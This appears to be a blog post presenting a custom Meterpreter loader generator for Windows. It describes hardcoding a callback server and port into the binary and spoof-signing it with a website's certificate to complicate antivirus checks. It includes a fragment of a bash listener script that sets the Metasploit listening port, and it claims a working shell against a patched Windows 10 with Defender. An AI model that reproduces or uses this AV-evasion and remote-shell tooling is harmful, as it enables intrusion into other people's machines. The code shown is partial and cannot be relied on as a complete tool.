Custom-Meterpreter loader in 2019

I have been using this generator for quite a while and it has always worked for me. Decided to enhance it with an additional function that spoofs certificates from websites and signs executable from them, original concept is from here https://github.com/paranoidninja/CarbonCopy

My code is 100% compatible with Linux Mint, but should work with Ubuntu and Debian derivatives.  Why Im saying this is that I have added some dependency checks into the generator. In my case I using dpkg-query to probe if required packages are installed or not. The script below can be obviously modified to work on CentOS, RedHat and other distros as  long as one gets the proper package checks in place, this I leave for the reader to practice on.

Below is the source code of the Generator script, that would produce a 64bit Windows PE32 binary file with meterpreter loader server address and port hardcoded inside and spoof-signed by website of our choice (google.com for example) Of course the signed binary is not obviously verified by Windows, but it adds an extra layer of complexity to AV engines to check.

Also here is the listener part (you need to run this from where you metasploit-framework is installed in)

#!/bin/bash
clear
echo "***************************************************************"
echo " Automatic shellcode generator - FOR METASPLOIT "
echo " For Automatic Teensy programming and deployment "

echo -e "What Port Number are we gonna listen to? : \c"
read port

echo -n $host >> run.listener.sh 
echo -n '; set LPORT ' >> run.listener.sh 
echo -n $port >> run.listener.sh 
echo -n '; run"' >> run.listener.sh 
chmod +x run.listener.sh 
./run.listener.sh

It gets its job done, and we can run a meterpreter shell on the latest Windows 10.0.17134.556 build with up2date Defender.

Of course try not to do anything silly process migration, you will get zapped immediately by MS Defeneder now :)

MS is getting better and better :)
